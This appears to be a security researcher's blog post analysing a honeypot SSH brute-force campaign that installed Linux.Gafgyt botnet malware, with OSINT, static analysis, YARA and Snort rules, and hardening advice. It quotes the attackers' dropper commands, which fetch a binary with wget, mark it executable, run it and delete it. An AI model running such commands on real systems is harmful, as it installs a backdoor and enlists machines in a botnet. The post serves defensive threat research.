I’ve been monitoring an interesting threat for the past several days, a group I’m referring to as “Killer Swag”. Mainly because the initial dropper is called “” and “Killer Swag” just sounds cool. In another life I think I would have been a marketing genius, but I digress. This post will cover my research into Killer Swag but won’t be as detailed as I would like. Most of my malware analysis is dynamic in my sandbox environment but sadly that network is down due to the sauna like atmosphere it creates in my office. So “you” being the poor reader will have to suffer through my poor static analysis skills. So let’s begin!


From what I’ve observed the groups focus seems to be SSH brute force attacks. The initially activity began on May 10, 2017 and continued for slightly over a week until stopping completely on May 19th. Activity then picked up on June 2nd and increased ten fold by Tue, June 6, 2017. Killer Swag uses various subnets to brute force the root login and once successful immediately disconnects. The login information is then used by the IP addresses and to log into the honeypot and run several Linux commands before downloading the “” dropper from IP This Bash script is then executed which in turn sends more wget request back to to download multiple copies of the Linux.Gafgyt malware family and await further instructions.


As stated above once a successful login is achieved the brute forcing ceases. The next step involves a login from one of the two IP addresses which are both owned by HostPalace Web Solution PVT LTD and conveniently allocated to two separate hosting companies. After login from either IP, the Killer Swags Bash script runs the following commands.

cd /tmp | | cd /var/run | | cd /mnt | | cd /root | | cd /

It’s likely that the above commands are used to verify the existence of the Linux filesystem before allowing the dropper to be downloaded. Next a wget request is sent out for a single file which has been identified as a generic Linux.Downloader from the following URL hxxp://

Once downloaded the dropper runs the following commands:

cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget; chmod +x ntpd; ./ntpd; rm -rf ntpd
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget; chmod +x sshd; ./sshd; rm -rf sshd
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget; chmod +x openssh; ./openssh; rm -rf openssh
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget; chmod +x bash; ./bash; rm -rf bash
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget; chmod +x tftp; ./tftp; rm -rf tftp
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget; chmod +x wget; ./wget; rm -rf wget
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget; chmod +x cron; ./cron; rm -rf cron
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget; chmod +x ftp; ./ftp; rm -rf ftp
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget; chmod +x pftp; ./pftp; rm -rf pftp
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget; chmod +x sh; ./sh; rm -rf sh
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget' '; chmod +x ' '; ./' '; rm -rf ' '
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget; chmod +x apache2; ./apache2; rm -rf apache2
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget; chmod +x telnetd; ./telnetd; rm -rf telnetd

Each of these requests downloads and installs the Linux.Gafgyt backdoor and waits for further instructions.


Let’s begin our analysis by doing some OSINT on both the Attacker IP’s and the Malware Host. One of the first things I check with IP’s is DNS resolution using something like RiskIQ but in this case none of the IP address resolved to anything. I followed this up by doing full TCP & UDP port scans for both attacking IPs using NMap and Unicorn but SSH continued to be the only available service on those IPs.

Attacker IP 1:

Open Ports:
Full TCP + UDP Port Scans
22 Open (SSH-2.0-OpenSSH_5.3)

Network Summary
Netname: Serverhosh-Internet-Service
Country: Netherlands

ASN: 133229
Organization: HostPalace Web Solution PVT LTD
Country: India

Attacker IP 2:

Open Ports:
Full TCP + UDP Port Scans
22 Open (SSH-2.0-OpenSSH_5.3)

Network Summary
Inetnum: 181.215/16
Owner: HOST1PLUS hosting services. Brazil.
Country: Brazil

ASN: 133229
Organization: HostPalace Web Solution PVT LTD
Country: India

Key Point: What’s interesting here is that both attacker IP’s although located in different countries have the same single uplink AS 133229 owned by HostPalace Web Solution PVT LTD.

Malware Hosting:

Open Ports:
22 (SSH-2.0-OpenSSH_5.3)
80 (Apache httpd 2.2.15)

Network Summary
Owner: ColoCrossing (VGS-9)
Country: United States (US)
IP Range:

ASN: 36352
Organization: ColoCrossing
Country: United States (US)

ColoCrossing has a handful of subnets at it’s disposal with it’s /21 and attackers will often times control multiple hosts under the same provider to make maintaining their infrastructure easier. With this in mind I decided to see if the payloads where being hosted on any other ColoCrossing machines. By combining the results of and NMap I was able to find a total of 115 host with live web servers.

My next step was to feed the resulting URL list into wget to see if any of the IP’s were hosting the same payloads.

wget --wait=10 --user-agent="Apple-iPhone5C3/" --referer= --input-file=/home/zerg/url.txt

Pro Tip – When downloading malware directly from a host I always make sure to manipulate things such as the “user agent” string and the “referer”. This is twofold really. Changing the “user agent” string to appear as an actual browser or anything other than wget’s default is just a smart way to avoid any potential issues with the host blocking particular agent strings.

Changing the “referer” can potentially yield valuable information. I typically change the referer to either a URL shortner that I control or a unique URL such as The idea behind this is that if the attacker is monitoring access to the hosted payloads sees an interesting referer they may be more inclined to visit it thinking it links back to their host. Since the referer is unique and not shared, any access to it would most likely be coming from the attacker and could reveal details such as location, browser info and other potentially valuable intelligence.

None of the other webservers on ColoCrossing appeared to be hosting identical payloads at the time of this research.

Malware Analysis

I begin by downloading each malware through Tor to a temporary VPS I’ve setup to do some simple analysis. I check the file size initially.

Then I move on to the file types.

From the file types we can see that the malware is setup to focus on at least several different system architectures. Now it’s time to create some SHA256 hashes so we can dive a little deeper.
With our SHA256 hashes we can begin querying Virus Total to get more insight into our malware.
I went ahead and submitted the other SHA256 hashes as well but the results are almost all identical to what is shown in the image above. Although the detection ratio was anywhere from 21-24 the results all named the malware Linux.Gafgyt which is an extremely common botnet that has quite a few variants and seems to be growing in popularity when compromising I0T devices. This may be due to the number of features built into the malware and the low entry needed for up and coming Internet hoodlums to start using it effectively.

When researching variants of the botnet I found that quite of few of them were using DNS on to keep track of victims as they become infected. My version however seemed to be trying to connect to Telnet on instead. This is strange to me considering that port 23 is closed on the host. A possibility is that my analysis is simply incorrect or the attacker is in fact using port 23 and reviewing the firewall logs as a means of keeping track of victims.

MalwareMustDie did a great job of providing a technical review of a lot of these variants and their research gave me some really good insight and is definitely worth a read.

Below are some of the interesting strings I found in the ntpd file.
Next I start deep diving into the ELF ntpd file using Radare2 and elf-parser. Putting these together we can gain a lot more information about this malware’s capabilities.
Below is a good break down of the main functionality. One of the most interesting pieces contained in the malware are the hardcoded IP’s used the C2 communication.

Random Functions

Process Manipulation

Network Functions

C2 IP Addresses

Information Gathering

User-Agent: %s

File Functions

Fake dynamic symbol table in sections

Network Analysis

When detonating the malware in a sandbox I’m able to get very little network information as the initial C2 has already been taken offline.
But with the PCAP opened in Wireshark if we follow the TCP stream we’re able to confirm that the infected host try’s communicating via Telnet to sending the data “PING”.
Now is a good time to look into the hardcoded C2 IP addresses.


Below you’ll find a simple Yara rule to detect the generic Gafgyt botnet malware described above.

Yara Tactical:

rule Gafgyt_Generic_Botnet {
description = "Gafgyt Generic Botnet Malware Signature"
author = "James Bower"
reference = "Quantum Honeynet"
date = "2017/06/14"
super_rule = 1
hash0 = "2a18f2d59f172622e76d9d9b5c73393b"
hash1 = "06de2d19862494be7dbcbcf20b3dbe3a"
hash2 = "0fc30a802a07386f5cd4b18b47547979"
hash3 = "be6865ccb948f2937fd25fe465e434da"
hash4 = "c8d58acfe524a09d4df7ffbe4a43c429"
hash5 = "0f979b4ae1209020dd2b672f9dad7398"
hash6 = "45826c129bf3d3bd067e33cf7bef3883"
hash7 = "79b9d4cea7972951efad765406459f5e"
hash8 = "baad702930571c414b0e8896f8bb4a5f"
hash9 = "11754a20e705dccf96f1a1def7220efc"
hash10 = "67db9ed04d3b56f966a739fd40a47748"
$s0 = "busybox" fullword
$s1 = "PONG!" fullword
$s2 = "GETLOCALIP" fullword
$s3 = "HTTPFLOOD" fullword
$s4 = "LUCKYLILDUDE" fullword
$s5 = "/dev/null"
$s6 = "/etc/resolv.conf"
$s7 = "/etc/config/resolv.conf"
all of them

Snort Tactical:

alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg:"Gafgyt_Generic_Botnet"; flow:established,to_server; content:"GET"; fast_pattern; http_uri; content:".sh"; distance:0; http_uri; content:"User-Agent|3a 20|Wget/"; http_header; content:!"Referer|3a|"; http_header; reference:url,; classtype:trojan-activity; sid:999999; rev:1;)


Although the incident discussed above occurred on a honeypot, I believe it’s important to discuss simple remediations that could prevent this type of attack on production systems.

Password Complexity – Ensuring that your organization has put in place policies requiring at minimum a password complexity of at least eight character/alpha-numeric.

Fail2ban – Always a must on Linux/SSH systems. I generally have this set to a time out of 30-60 min after 5 failed login attempts.

SSH Keys – Getting away from using passwords and instead relying on SSH Keys can ease password management.

SSH Configuration – Disabling root login is still considered good practice for a reason.


IP Addresses:

Malware Hosting:

C2 IP Addresses:

MD5 Hashes


SHA256 Hashes


And as always, thank you for taking the time to read this. If you have any comments, questions, or critiques, please reach out to me on our FREE ML Security Discord Server – HERE

Related Posts